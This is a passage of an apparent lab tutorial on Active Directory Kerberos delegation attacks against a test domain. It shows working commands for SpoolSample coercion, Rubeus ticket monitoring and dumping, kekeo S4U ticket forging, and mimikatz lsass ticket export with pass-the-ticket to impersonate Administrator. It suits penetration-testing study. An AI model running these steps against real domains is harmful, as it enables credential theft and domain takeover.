tried compiling it several times without success. It seems to be a small PowerShell issue.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0024.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could not solve that for now, but I found a project with precompiled binaries.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/jtmpu/PrecompiledBinaries" target="_blank" rel="noopener"&#10; &gt;https://github.com/jtmpu/PrecompiledBinaries&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Run it in the virtual machine.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Specify the domain controller and local host; any names will work if DNS resolves them&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SpoolSample.exe WindowsServerAD WIN10&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SpoolSample.exe WindowsServerAD.test.local WIN10.test.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Start monitoring for tickets; the command above monitors the user, while this one monitors the domain controller&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus.exe monitor /interval:1 /filteruser:WindowsServerAD$&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0025.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It worked. I won&amp;rsquo;t reconnect to the domain controller here because the process is identical to the one above, and I still cannot use mimikatz. I&amp;rsquo;ll leave it at that.&lt;/p&gt;&#10;&lt;h4 id="exploiting-constrained-delegation"&gt;&lt;a href="#exploiting-constrained-delegation" class="header-anchor"&gt;&lt;/a&gt;Exploiting Constrained Delegation&#10;&lt;/h4&gt;&lt;h5 id="overview"&gt;&lt;a href="#overview" class="header-anchor"&gt;&lt;/a&gt;Overview&#10;&lt;/h5&gt;&lt;p&gt;Because unconstrained delegation is insecure, Microsoft introduced constrained delegation in &lt;code&gt;windows server 2003&lt;/code&gt;, extending the Kerberos protocol with &lt;code&gt;S4U&lt;/code&gt;. &lt;code&gt;S4U&lt;/code&gt; supports two subprotocols: &lt;code&gt;Service for User to Self (S4U2Self)&lt;/code&gt; and &lt;code&gt;Service for User to Proxy (S4U2proxy)&lt;/code&gt;. Both extensions let a service request tickets from the KDC on behalf of a user. &lt;code&gt;S4U2self&lt;/code&gt; can request a Kerberos service ticket (ST) to itself on its own behalf, while &lt;code&gt;S4U2proxy&lt;/code&gt; can request an ST to another service on behalf of a user. Constrained delegation limits the scope of the &lt;code&gt;S4U2proxy&lt;/code&gt; extension.&lt;/p&gt;&#10;&lt;p&gt;The &lt;code&gt;S4U2Self&lt;/code&gt; and &lt;code&gt;S4U2proxy&lt;/code&gt; request flow (diagram from the Microsoft manual):&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: Steps 1–4 show the &lt;code&gt;S4U2Self&lt;/code&gt; request flow, while steps 5–10 show the &lt;code&gt;S4U2proxy&lt;/code&gt; request flow.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0026.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Here is the request flow in words:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. The user sends a request to service1. The user is authenticated, but service1 does not have the user&amp;#39;s authorization data. This usually occurs when authentication uses a method other than Kerberos.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. The S4U2self extension requests ST1 from the KDC for access to service1 on the user&amp;#39;s behalf.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. The KDC returns ST1 to Service1 for the user to authenticate to Service1. ST1 may contain the user&amp;#39;s authorization data.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;4. service1 can use the authorization data in the ST to fulfill the user&amp;#39;s request and then respond to the user.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Note: Although S4U2self provides service1 with information about the user, it does not allow service1 to request other services on the user&amp;#39;s behalf. This is where S4U2proxy is used.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;5. The user sends a request to service1, which needs to access a resource on service2 as the user.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;6. service1 requests ST2 from the KDC for the user to access service2.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;7. If the request contains a PAC, the KDC validates it by checking its signature data. If the PAC is valid or absent, the KDC returns ST2 to service1, but the client identity stored in ST2&amp;#39;s cname and crealm fields is the user, not service1.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;8. service1 uses ST2 to send a request to service2 on the user&amp;#39;s behalf, indicating that the KDC authenticated the user.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;9. service2 responds to the request from step 8.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;10. service1 responds to the user&amp;#39;s request from step 5.&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="procedure"&gt;&lt;a href="#procedure" class="header-anchor"&gt;&lt;/a&gt;Procedure&#10;&lt;/h5&gt;&lt;p&gt;Environment:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Domain: &lt;code&gt;test.local&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;Domain controller: windows server 2022, hostname: &lt;code&gt;WindowsServerAD&lt;/code&gt;, IP: &lt;code&gt;192.168.0.110&lt;/code&gt;, user: &lt;code&gt;administrator&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;Domain-joined host: windows 10, hostname: &lt;code&gt;win10&lt;/code&gt;, IP: &lt;code&gt;192.168.0.104&lt;/code&gt;, user: &lt;code&gt;jerry&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;Create a service account:&lt;/p&gt;&#10;&lt;p&gt;I already covered this above, but exploiting it there was a bit of a hassle, so I skipped it. I&amp;rsquo;ll include it again here.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Second SharePoint service account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New-ADUser `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -Name &amp;#34;svc_sharepoint&amp;#34; `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -SamAccountName &amp;#34;svc_sharepoint&amp;#34; `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -UserPrincipalName &amp;#34;svc_sharepoint@test.local&amp;#34; `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -Path &amp;#34;CN=Users,DC=test,DC=local&amp;#34; `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -AccountPassword (ConvertTo-SecureString &amp;#34;Password123!&amp;#34; -AsPlainText -Force) `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -Enabled $true `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -PasswordNeverExpires $true `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -ServicePrincipalNames &amp;#34;HTTP/sharepoint.test.local&amp;#34; `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -Description &amp;#34;SharePoint Service Account&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Add the required group memberships to the account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Add-ADGroupMember -Identity &amp;#34;Server Operators&amp;#34; -Members &amp;#34;svc_sharepoint&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Set the SPN&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setspn -A HTTP/webserver.domain.com svc_sharepoint&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setspn -A HTTP/webserver svc_sharepoint&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Verify user creation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADUser svc_sharepoint -Properties *&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Verify the SPN configuration&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setspn -L svc_sharepoint&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# As an example, allow it to delegate to the CIFS service&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-ADAccountControl -Identity &amp;#34;svc_sharepoint&amp;#34; -TrustedToAuthForDelegation $true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-ADUser -Identity &amp;#34;svc_sharepoint&amp;#34; -Add @{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;msDS-AllowedToDelegateTo&amp;#39;=@(&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;CIFS/WindowsServerAD.test.local&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;CIFS/WindowsServerAD&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; )&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Verify the configuration&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADUser svc_sharepoint -Properties &amp;#34;msDS-AllowedToDelegateTo&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Find all accounts configured for constrained delegation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADObject -Filter {msDS-AllowedToDelegateTo -like &amp;#34;*&amp;#34;} -Properties msDS-AllowedToDelegateTo&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Account: svc_sharepoint; password: Password123!&lt;/p&gt;&#10;&lt;p&gt;As covered in the overview, under constrained delegation a service user can only obtain an ST for a particular user&amp;rsquo;s (or host&amp;rsquo;s) service. It can therefore impersonate that user only when accessing a specific service, and cannot obtain the user&amp;rsquo;s TGT. If we obtain the plaintext password or &lt;code&gt;NTLM Hash&lt;/code&gt; of a service user configured for constrained delegation, we can forge an S4U request and impersonate the service user to request an ST for a service with the privileges of &lt;strong&gt;any account&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;p&gt;If we know the service user&amp;rsquo;s plaintext password, we can request that user&amp;rsquo;s TGT with kekeo.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/gentilkiwi/kekeo/releases/tag/2.2.0-20211214" target="_blank" rel="noopener"&#10; &gt;https://github.com/gentilkiwi/kekeo/releases/tag/2.2.0-20211214&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tgt::ask /user:svc_sharepoint /domain:test.local /password:Password123!&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tgt::ask /user:svc_sharepoint /domain:test.local /rc4:7f939d16a10a8fb0ef49eca637be8a7d&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0027.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This gives us the service user&amp;rsquo;s TGT.&lt;/p&gt;&#10;&lt;p&gt;We can then use this TGT to forge an s4u request and, as the &lt;code&gt;administrator&lt;/code&gt; user, request an ST to the domain controller&amp;rsquo;s &lt;code&gt;CIFS&lt;/code&gt; service.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0028.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;We obtained two TGS tickets.&lt;/p&gt;&#10;&lt;p&gt;Use mimikatz to import the cifs ticket.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Clear existing tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;klist purge&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;klist&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::ptt TGS_Administrator@test.local@TEST.LOCAL_cifs~WindowsServerAD.test.local@TEST.LOCAL.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0029.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0030.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0031.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Success. Everything works here. The ticket obtained in the unconstrained delegation section may genuinely have had a problem. I still do not know exactly what went wrong, but at least the ticket obtained with kokeo can be imported and used for authentication.&lt;/p&gt;&#10;&lt;p&gt;If we do not know the service user&amp;rsquo;s plaintext password or NTLM Hash, but we do have access to the host where that service user is logged in (with local administrator privileges), we can use &lt;code&gt;mimikatz&lt;/code&gt; to dump the service user&amp;rsquo;s TGT directly from memory.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe &amp;#34;privilege::debug&amp;#34; &amp;#34;sekurlsa::tickets /export&amp;#34; exit&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: &lt;code&gt;sekurlsa::tickets&lt;/code&gt; lists and exports &lt;code&gt;Kerberos&lt;/code&gt; tickets from every session. &lt;code&gt;sekurlsa::tickets&lt;/code&gt; differs from &lt;code&gt;kerberos::list&lt;/code&gt;: sekurlsa reads from memory—specifically, from the lsass process—which is why &lt;code&gt;sekurlsa::tickets /export&lt;/code&gt; requires administrator privileges. Its exports are not restricted by keys, and &lt;code&gt;sekurlsa::tickets&lt;/code&gt; can access tickets from other sessions (users).&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s try exporting them this way and see whether the import still fails as it did before.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Log the service account on locally once to generate a ticket; run the command below and enter the password to simulate a logon&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;runas /user:test\svc_sharepoint cmd.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0032.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;mimikatz exported the ticket successfully. This is the service account we created.&lt;/p&gt;&#10;&lt;p&gt;But exploitation still failed.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tgs::s4u /tgt:[0;25bcdd]-2-0-40e10000-svc_sharepoint@krbtgt-TEST.LOCAL.kirbi /user:Administrator@test.local /service:cifs/WindowsServerAD.test.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0033.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But we still have Rubeus.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The remaining process is the same: read the data, write it locally, and then access the domain controller&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The drawback is that the service account&amp;#39;s session must remain connected after logon to obtain the ticket&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Keep the Mimikatz method in mind; try Mimikatz first and use this method if it fails&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Open a command prompt with runas and leave it open&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;runas /user:test\svc_sharepoint cmd.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus.exe dump /service:krbtgt /user:svc_sharepoint&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0034.zh.webp" alt="" loading="lazy" 